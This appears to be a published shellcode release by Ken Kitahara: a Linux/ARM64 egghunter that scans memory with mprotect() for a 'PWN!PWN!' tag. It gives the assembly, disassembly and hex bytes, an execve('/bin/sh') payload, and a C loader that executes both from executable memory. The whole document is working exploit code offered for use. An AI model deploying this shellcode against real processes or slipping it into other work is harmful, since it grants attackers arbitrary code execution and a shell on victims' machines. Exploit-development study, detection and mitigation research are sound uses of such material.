/*
# Title: Linux/ARM64 - Egghunter (PWN!PWN!) + execve("/bin/sh", NULL, NULL) + mprotect() Shellcode (88 Bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c
ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat egghunter.s
.section .text
.global _start
_start:
mov x8, #226 // Systemcall Number = x8 = 226 (mprotect)
lsr x2, x8, #5 // args[2] = x2 = 7 = PROT_READ|PROT_WRITE|PROT_EXEC
add x1, x2, #0xff9 // args[1] = x1 = 0x1000
mov x10, xzr // Start address of scannning = x10 = 0x0000000000000000
mov x11, #0x5750 // Eggtag = x11 = 0x0000000000005750
movk x11, #0x214E, lsl #16 // Eggtag = x11 = 0x00000000214E5750
add x11, x11, x11, lsl #32 // Eggtag = x11 = 0x214E5750214E5750 = "!NWP!NWP"
jump_search_page:
tbz x8, #63, search_page // In this code, the top bit of x8 register is always zero. Jump to address of search_page
jump_shellcode:
br x10 // Jump to shellcode
hunt:
add x13, x10, x1 // End address of current page = x13
next_address:
ldr x12, [x10], #8 // Load value from the address pointed by x10 to x12 and add 8 to x10
cmp x11, x12 // Compare loaded value and eggtag.
beq jump_shellcode // If loaded value matched to eggtag, jump to the address of jump_shellcode part.
cmp x10, x13 // Check if current searching address (x10) over end address of current page (x13).
bge jump_search_page // If x10 was over x13, search next valid page.
sub x10, x10, x2 // x10 = x10 - 7. This instruction is for search memory address 1 byte by 1 byte.
b next_address // Check next memory address.
search_page:
// mprotect(*buf, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
add x0, x10, xzr // args[0] = x0 = x10 + xzr = x10
svc #0x1337 // Invoke mprotect().
tbz x0, #63, hunt // If return value is positive, jump to hunt label location.
add x10, x10, x1 // Next page address = x10 + x1 = x10 + 0x1000
b search_page // Check next page address.
ubuntu@ubuntu:~/works$ as -o egghunter.o egghunter.s && ld -o egghunter egghunter.o
ubuntu@ubuntu:~/works$ objdump -d ./egghunter
./egghunter: file format elf64-littleaarch64
Disassembly of section .text:
0000000000400078 <_start>:
400078: d2801c48 mov x8, #0xe2 // #226
40007c: d345fd02 lsr x2, x8, #5
400080: 913fe441 add x1, x2, #0xff9
400084: aa1f03ea mov x10, xzr
400088: d28aea0b mov x11, #0x5750 // #22352
40008c: f2a429cb movk x11, #0x214e, lsl #16
400090: 8b0b816b add x11, x11, x11, lsl #32
0000000000400094 <jump_search_page>:
400094: b6f80148 tbz x8, #63, 4000bc <search_page>
0000000000400098 <jump_shellcode>:
400098: d61f0140 br x10
000000000040009c <hunt>:
40009c: 8b01014d add x13, x10, x1
00000000004000a0 <next_address>:
4000a0: f840854c ldr x12, [x10],#8
4000a4: eb0c017f cmp x11, x12
4000a8: 54ffff80 b.eq 400098 <jump_shellcode>
4000ac: eb0d015f cmp x10, x13
4000b0: 54ffff2a b.ge 400094 <jump_search_page>
4000b4: cb02014a sub x10, x10, x2
4000b8: 17fffffa b 4000a0 <next_address>
00000000004000bc <search_page>:
4000bc: 8b1f0140 add x0, x10, xzr
4000c0: d40266e1 svc #0x1337
4000c4: b6fffec0 tbz x0, #63, 40009c <hunt>
4000c8: 8b01014a add x10, x10, x1
4000cc: 17fffffc b 4000bc <search_page>
ubuntu@ubuntu:~/works$ objcopy -O binary egghunter egghunter.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' egghunter.bin && echo
\x48\x1c\x80\xd2\x02\xfd\x45\xd3\x41\xe4\x3f\x91\xea\x03\x1f\xaa\x0b\xea\x8a\xd2\xcb\x29\xa4\xf2\x6b\x81\x0b\x8b\x48\x01\xf8\xb6\x40\x01\x1f\xd6\x4d\x01\x01\x8b\x4c\x85\x40\xf8\x7f\x01\x0c\xeb\x80\xff\xff\x54\x5f\x01\x0d\xeb\x2a\xff\xff\x54\x4a\x01\x02\xcb\xfa\xff\xff\x17\x40\x01\x1f\x8b\xe1\x66\x02\xd4\xc0\xfe\xff\xb6\x4a\x01\x01\x8b\xfc\xff\xff\x17
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char stager[] =
"\x48\x1c\x80\xd2\x02\xfd\x45\xd3\x41\xe4\x3f\x91\xea\x03\x1f\xaa"
"\x0b\xea\x8a\xd2\xcb\x29\xa4\xf2\x6b\x81\x0b\x8b\x48\x01\xf8\xb6"
"\x40\x01\x1f\xd6\x4d\x01\x01\x8b\x4c\x85\x40\xf8\x7f\x01\x0c\xeb"
"\x80\xff\xff\x54\x5f\x01\x0d\xeb\x2a\xff\xff\x54\x4a\x01\x02\xcb"
"\xfa\xff\xff\x17\x40\x01\x1f\x8b\xe1\x66\x02\xd4\xc0\xfe\xff\xb6"
"\x4a\x01\x01\x8b\xfc\xff\xff\x17";
// Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
char shell[] =
"PWN!PWN!"
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";
int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(stager));
void *ptr1 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr1 == MAP_FAILED) {
perror("mmap");
exit(-1);
}
void *ptr2 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr2 == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr1, stager, sizeof(stager));
memcpy(ptr2, shell, sizeof(shell));
sc = ptr1;
sc();
return 0;
}